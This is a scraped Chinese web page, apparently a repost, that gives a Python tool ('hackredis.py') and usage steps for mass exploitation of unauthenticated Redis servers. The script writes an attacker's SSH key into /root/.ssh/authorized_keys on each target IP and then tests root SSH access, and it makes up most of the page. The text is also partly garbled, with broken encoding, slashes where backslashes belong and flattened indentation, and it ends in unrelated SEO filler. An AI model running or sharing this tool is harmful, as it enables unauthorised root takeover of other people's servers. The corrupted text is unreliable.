濮阳杆衣贸易有限公司

主頁(yè) > 知識(shí)庫(kù) > python腳本實(shí)現(xiàn)Redis未授權(quán)批量提權(quán)

python腳本實(shí)現(xiàn)Redis未授權(quán)批量提權(quán)

熱門(mén)標(biāo)簽:地圖標(biāo)注費(fèi)用 竹間科技AI電銷(xiāo)機(jī)器人 玄武湖地圖標(biāo)注 小紅書(shū)怎么地圖標(biāo)注店 西藏教育智能外呼系統(tǒng)價(jià)格 最簡(jiǎn)單的百度地圖標(biāo)注 太原營(yíng)銷(xiāo)外呼系統(tǒng) 百度商家地圖標(biāo)注怎么做 地圖標(biāo)注如何即時(shí)生效

前言

本文主要給大家介紹了關(guān)于redis未授權(quán)批量提權(quán)的相關(guān)內(nèi)容,分享出來(lái)供大家參考學(xué)習(xí),下面話不多說(shuō)了,來(lái)一起看看詳細(xì)的介紹吧。

安裝依賴(lài)

 sudo easy_install redis

使用

redis python hackredis.py         
usage: hackredis.py [-h] [-l IPLIST] [-p PORT] [-r ID_RSAFILE] [-sp SSH_PORT]

For Example:
-----------------------------------------------------------------------------
python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22

optional arguments:
 -h, --help  show this help message and exit
 -l IPLIST  the hosts of target
 -p PORT  the redis default port
 -r ID_RSAFILE the ssh id_rsa file you generate
 -sp SSH_PORT the ssh port

首先需要ssh密鑰:

ssh-keygen -t rsa
 cp ~/.ssh/id_rsa.pub /tmp/foo.txt

之后將ip列表填入ip.txt,然后就可以跑了。 成功的將會(huì)輸出到success.txt,執(zhí)行成功但是ssh連接失敗的會(huì)存儲(chǔ)在unconnect.txt,操作失敗的會(huì)存儲(chǔ)在fail.txt。

#!/usr/bin/python
#coding:utf-8
#############################################################
## @file hackredis.py         ##
## @date 2015-12-11          ##
## @author evi1cg           ##
#############################################################
import redis
import argparse
import textwrap
import sys
import pexpect
def getargs():
 parser = argparse.ArgumentParser(prog='hackredis.py', formatter_class=argparse.RawTextHelpFormatter, description=textwrap.dedent('''/
 For Example:
 -----------------------------------------------------------------------------
 python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22'''))
 parser.add_argument('-l', dest='iplist', type=str, help='the hosts of target')
 parser.add_argument('-p', dest='port', default=6379, type=int, help='the redis default port')
 parser.add_argument('-r', dest='id_rsafile', type=str, help='the ssh id_rsa file you generate')
 parser.add_argument('-sp', dest='ssh_port', type=int,default=22, help='the ssh port')
 if(len(sys.argv[1:]) / 2 != 4):
 sys.argv.append('-h')
 return parser.parse_args()

def hackredis(host,port):
 ck = 0
 try:
 print "[*] Attacking ip:%s"%host
 r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=2)
 r.flushall
 r.set('crackit',foo)
 r.config_set('dir','/root/.ssh/')
 r.config_set('dbfilename','authorized_keys')
 r.save()
 ck =1
 except:
 print "/033[1;31;40m[-]/033[0m Something wrong with %s"%host
 write(host,2)
 ck =0
 if ck == 1:
 check(host)
 else:
 pass

def check(host):
 print '/033[1;33;40m[*]/033[0m Check connecting... '
 try:
 ssh = pexpect.spawn('ssh root@%s -p %d' %(host,ssh_port))
 i = ssh.expect('[#/$]',timeout=2)
 if i == 0:
  print "/033[1;34;40m[+]/033[0m Success !"
  write(host,1)
 else:
  pass
 except:
 print "/033[1;32;40m[-]/033[0m Failed to connect !"
 write(host,3)
def write(host,suc):
 if suc == 1:
 filesname = 'success.txt'
 elif suc ==2:
 filesname = 'fail.txt'
 elif suc ==3:
 filesname = 'unconnect.txt'
 else:
 pass
 file_object = open(filesname,'a')
 file_object.write(host+'/n')
 file_object.close()


def main():
 global foo,ssh_port
 paramsargs = getargs()
 try:
 hosts = open(paramsargs.iplist,"r")
 except(IOError):
 print "Error: Check your hostfile path/n"
 sys.exit(1) 
 port = paramsargs.port
 ssh_port = paramsargs.ssh_port
 try:
 foo = '/n/n/n'+open(paramsargs.id_rsafile,"r").readline()+'/n/n/n'
 except(IOError):
 print "Error: Check your wordlist path/n"
 sys.exit(1)  
 ips = [p.replace('/n','') for p in hosts]
 for ip in ips:
 hackredis(ip.strip(),port)


if __name__ == "__main__":
 main()

總結(jié)

以上就是這篇文章的全部?jī)?nèi)容了,希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作能帶來(lái)一定的幫助,如果有疑問(wèn)大家可以留言交流,謝謝大家對(duì)腳本之家的支持。

您可能感興趣的文章:
  • Python使用redis pool的一種單例實(shí)現(xiàn)方式
  • python操作redis方法總結(jié)
  • python安裝與使用redis的方法
  • Python讀寫(xiě)Redis數(shù)據(jù)庫(kù)操作示例
  • Python的Flask框架應(yīng)用調(diào)用Redis隊(duì)列數(shù)據(jù)的方法
  • python使用pipeline批量讀寫(xiě)redis的方法

標(biāo)簽:贛州 揚(yáng)州 澳門(mén) 唐山 景德鎮(zhèn) 林芝 廣東 香港

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《python腳本實(shí)現(xiàn)Redis未授權(quán)批量提權(quán)》,本文關(guān)鍵詞  python,腳本,實(shí)現(xiàn),Redis,未,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《python腳本實(shí)現(xiàn)Redis未授權(quán)批量提權(quán)》相關(guān)的同類(lèi)信息!
  • 本頁(yè)收集關(guān)于python腳本實(shí)現(xiàn)Redis未授權(quán)批量提權(quán)的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    定远县| 加查县| 东阳市| 湄潭县| 自贡市| 神农架林区| 百色市| 临沧市| 平乡县| 息烽县| 赞皇县| 长宁县| 卓资县| 麟游县| 辉南县| 永清县| 龙井市| 寻乌县| 枣阳市| 临高县| 锦屏县| 永嘉县| 延庆县| 桦南县| 天祝| 阳原县| 油尖旺区| 吉木乃县| 雷州市| 新郑市| 馆陶县| 营山县| 宁波市| 宽甸| 三原县| 南城县| 乌什县| 河南省| 惠州市| 元氏县| 福海县|